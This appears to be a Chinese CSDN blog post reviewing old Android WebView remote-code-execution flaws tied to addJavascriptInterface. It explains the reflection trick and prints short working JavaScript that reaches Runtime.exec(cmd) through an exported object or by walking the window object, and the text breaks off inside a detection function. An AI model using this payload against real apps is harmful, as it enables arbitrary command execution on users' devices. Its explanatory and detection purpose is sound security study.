Android WebView漏洞总结

本文总结了Android WebView的几个历史漏洞,如CVE-2012-6336和CVE-2014-1939,这些漏洞可能导致任意代码执行。通过分析addJavaScriptInterface()的使用,揭示了如何检测和利用这些漏洞。文中提供了检测代码和PoC,强调了App开发者应对加载的网页进行限制和安全检查,以防止潜在的安全威胁。
摘要由CSDN通过智能技术生成

  2015年就了解了这个漏洞,但只是简单的试了一下,时间一久就忘记了。导致16年无任何准备的条件下,给面试官讲这个漏洞都讲不清楚,丢人。最近学习了一下web安全相关的知识,就顺便在看了一下这个老的Webview漏洞。全程几乎没有什么干货,就当做个记录。

一、几个老的CVE

  CVE-2012-6336:WebView RCE漏洞原型,对于使用了Webview API:addJavaScriptInterface()的Webview,会向网页中的js导出一个Object。在JS中,可以利用这个Object和本地App的Java代码通信。由于Java支持反射,导致在JS代码中,可以利用这个导出的Object来反射调用本地代码,从而导致了任意代码执行。即JavaScript的网页可以利用App具有的权限执行任意代码。Google Android <= 4.1.2 (API level 16) 受到此漏洞的影响。

  CVE-2014-1939:基于上面的漏洞,3.0以后的Android系统上通过API addJavaScriptInterface()添加了一个SearchBoxImpl类的对象searchBoxJavaBridge_。所以通过searchBoxJavaBridge_对象就可以反射,从而RCE。Google Android <= 4.3.1 受到此漏洞的影响

  CVE-2014-7224: 和上面第二个基本差不多,Android系统服务的代码添加了两个对象accessibility和accessibilityTraversal。Google Android < 4.4 受到此漏洞的影响

二、漏洞分析及检测

  以下主要分析CVE-2012-6336这个漏洞,其他两个就这个特例。

  现在Hybrid App很多,Webview使用频繁。为了本地Java和网页端的JS交互,一些App需要在WebView中调用addJavaScriptInterface来添加一个对象用户通信。这样JS中可以利用反射特性来任意执行代码,关于这点上面已经做了说明。下面以几个问题形式,说明如何检测一个App中是否存在这样的漏洞。

  在JS中获得了Webview中导出的Object,只要通过以下代码就可以就可以进行反射并RCE。

function execute(cmd){
   
/*jsObject是导出的Object*/
                return window.jsObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}

1. 获取导出给JS的Object对象

  对于一个待测的App,导出给JS的Object名字不是那么容易找的,通过静态分析方式比较麻烦,可能做不到。那么,怎么才能获取导出给JS的Object名字?

  获取导出给JS的Object名字的目的就是为了从这个Object开始反射。对于Java反射,getClass()方法至关重要 。而JS可以遍历window对象,找到存在“getClass”方法的对象。于是通过遍历window方式找到导出来的可以被JS调用的Object。

/*遍历window对象,找出可以被利用来反射的Object*/
function execute(cmd){
    for(var obj in window){
        if("getClass" in window[obj]){
            return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
        }
    }
}

2. 检测代码

  有了上述方法,检测一个WebView是否存在漏洞也就简单了,只需要使用一个网页来检测是否可以找到存在“getClass”方法的对象。

function detectVul(){
    for(var obj in window){
        if("getClass" in window[obj]){

            
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值